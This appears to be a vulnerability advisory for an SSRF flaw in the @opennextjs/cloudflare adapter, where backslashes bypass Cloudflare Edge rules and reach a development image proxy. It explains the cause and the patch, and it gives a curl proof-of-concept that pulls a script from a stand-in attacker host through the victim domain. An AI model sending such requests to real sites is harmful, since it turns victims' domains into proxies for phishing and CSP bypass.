Mar 5, 2026·5 min read·38 visits
Improper handling of backslash characters allows attackers to bypass Cloudflare Edge interception and access a development image proxy in the OpenNext Worker. This leads to SSRF, enabling arbitrary URL fetching and potential content serving from the victim's domain.
A high-severity Server-Side Request Forgery (SSRF) vulnerability exists in the @opennextjs/cloudflare adapter due to differential path normalization between Cloudflare's Edge infrastructure and the Worker runtime. Attackers can bypass edge security policies protecting the '/cdn-cgi/' namespace by using backslashes in the URL, triggering a development-only proxy handler in production environments.
The vulnerability affects @opennextjs/cloudflare, an adapter that enables Next.js applications to run on Cloudflare Workers. The issue centers on the handling of the reserved /cdn-cgi/ path namespace, which is typically intercepted by Cloudflare's Edge infrastructure for services like image resizing and security checks.
Due to a discrepancy in how path separators are interpreted, an attacker can construct a request using backslashes (e.g., /cdn-cgi\image/) that bypasses the Edge interception layer. The Edge treats the backslash as a literal character and does not match it against the reserved /cdn-cgi/ path rule. However, when the request reaches the JavaScript Worker runtime, standard URL normalization converts the backslash into a forward slash.
This normalization collision causes the Worker to route the request to a development-only image optimization handler. This handler, intended for local testing, blindly proxies requests to a user-supplied URL, resulting in Server-Side Request Forgery (SSRF).
The root cause is a classic Differential Path Normalization vulnerability, specifically involving the cdn-cgi endpoint. The architecture involves two distinct parsing layers with conflicting logic:
Cloudflare Edge (The Gatekeeper): The Edge layer inspects incoming HTTP requests. Rules intended to protect or intercept /cdn-cgi/ paths use strict string matching that expects forward slashes (/). A path like /cdn-cgi\image does not match these rules and is allowed to pass through to the origin (the Worker).
Worker Runtime (The Normalizer): Once the request is handed off to the OpenNext Worker, the runtime environment (compliant with WHATWG URL standards) normalizes the path. The backslash (\) is converted to a forward slash (/).
Vulnerable Handler Logic: The OpenNext adapter contains a fallback handler for image optimization designed for development. It listens for requests matching /cdn-cgi/image/ and extracts the subsequent path segment as a target URL to fetch. Because the request was normalized after bypassing the Edge, this handler is triggered in production environments where it should not be accessible. The handler then executes an unvalidated fetch() to the attacker-controlled URL.
The remediation in version 1.17.1 introduces strict validation logic to replace the loose routing previously used. The fix involves two primary components: strict regex parsing and response content-type validation (magic byte checks).
1. Strict Path Parsing (Input Validation)
The patch replaces ad-hoc path splitting with a regular expression that explicitly defines the expected structure. It also rejects protocol-relative URLs (//) to prevent ambiguity.
// Patched logic in parseCdnCgiImageRequest
export function parseCdnCgiImageRequest(pathname: string) {
// Strict regex enforces exact structure
const match = pathname.match(/^\/cdn-cgi\/image\/(?<options>[^/]+)\/(?<url>.+)$/);
if (!match || !match.groups) {
return null;
}
const { options, url } = match.groups;
// Security: Prevent protocol-relative URL usage which can bypass filters
if (url.startsWith("//")) {
return null;
}
return { options, url };
}2. Response Validation (Output Sanitization)
To mitigate the impact of any potential bypass, the patch adds detectImageContentType. This function inspects the magic bytes (file signature) of the fetched content to ensure it is actually an image, preventing the proxy from serving HTML, scripts, or other malicious payloads.
// New validation ensuring only valid images are proxied
export function detectImageContentType(buffer: Uint8Array): ImageContentType | null {
// JPEG magic bytes (FF D8)
if (buffer[0] === 0xff && buffer[1] === 0xd8) return "image/jpeg";
// PNG magic bytes (89 50)
if (buffer[0] === 0x89 && buffer[1] === 0x50) return "image/png";
// GIF magic bytes (47 49 46)
if (buffer[0] === 0x47 && buffer[1] === 0x49 && buffer[2] === 0x46) return "image/gif";
return null;
}This "defense-in-depth" approach ensures that even if the route is accessed, the functionality is restricted to its intended use case (images) rather than arbitrary proxying.
Exploiting this vulnerability requires sending a raw HTTP request that preserves the backslash character. Standard browsers and some HTTP clients normalize paths before sending, so a tool like curl with the --path-as-is flag is required.
Attack Scenario:
@opennextjs/cloudflare < 1.17.1./cdn-cgi\image/ followed by a dummy option string and the malicious target URL.# --path-as-is prevents local client normalization
curl --path-as-is "https://victim-app.com/cdn-cgi\image/fit=cover/https://attacker-controlled.com/malicious-script.js"Execution Flow:
/cdn-cgi\image/.... The rule for /cdn-cgi/ (forward slash) does not match. The request is forwarded to the Worker./cdn-cgi\image to /cdn-cgi/image.https://attacker-controlled.com/malicious-script.js.This effectively turns the victim's domain into an open proxy serving attacker content, which can be used to bypass Content Security Policy (CSP) or conduct phishing attacks using a trusted domain.
The vulnerability carries a High severity rating (CVSS 7.7) due to the combination of SSRF and security control bypass.
Security Implications:
/cdn-cgi/ traffic are rendered ineffective.Limitations:
This vulnerability is specific to the @opennextjs/cloudflare adapter. It does not compromise the underlying Cloudflare infrastructure itself, but rather the specific application logic deployed on top of it.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:H/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
@opennextjs/cloudflare OpenNext | < 1.17.1 | 1.17.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-918 (SSRF) |
| CVSS v4.0 | 7.7 (High) |
| Attack Vector | Network |
| Attack Complexity | Low |
| Impact | Security Bypass & Proxying |
| Exploit Status | Proof-of-Concept Available |
The software does not correctly resolve a URL or path reference, allowing an attacker to access unauthorized resources.
An improper encoding and escaping vulnerability in the .NET SMTP client component allows network-based attackers to perform SMTP command smuggling and email spoofing by injecting control characters into email fields.
CVE-2026-50651 is a high-severity Denial of Service vulnerability in Microsoft .NET runtimes, SDKs, and Visual Studio installations. It stems from a weakness in System.Net.Http (CWE-770), where the HTTP/2 connection handling state machine fails to throttle server-initiated protocol streams and control frames. An attacker-controlled server can exploit this by returning highly fragmented or infinite control and continuation frame sequences. This forces the client to allocate memory indefinitely on the managed heap, eventually provoking an unhandled Out-of-Memory (OOM) exception and application crash.
A heap out-of-bounds write vulnerability exists in Pillow prior to version 12.3.0 due to an integer overflow during image expansion calculations. The subsequent patch introduced a division-by-zero regression causing denial of service.
CVE-2026-59198 is a high-severity heap out-of-bounds read vulnerability in Pillow, the Python imaging library, affecting versions from 5.2.0 up to 12.3.0. The vulnerability occurs in the TGA RLE compression path due to a calculation mismatch between the allocated packed 1-bit row buffer and the byte-level pixel stride assumption in the C-level encoder. This mismatch allows an attacker to leak up to approximately 57 KB of adjacent process heap memory directly into generated TGA image files.
A critical signed 32-bit integer overflow vulnerability was identified in Pillow (Python Imaging Library) versions prior to 12.3.0. The vulnerability resides within the native C extension library (libImaging) during coordinate and bounding box calculations in functions like ImagingPaste and ImagingFill2. Exploitation can bypass bounds and clipping safety checks, leading to a controlled heap backward underwrite and application crash.
CVE-2026-59200 is a high-severity uncontrolled resource consumption vulnerability in the Pillow Python Imaging Library. The flaw resides in the PDF stream decoder, allowing remote, unauthenticated attackers to trigger host out-of-memory crashes by submitting malicious PDF decompression bombs.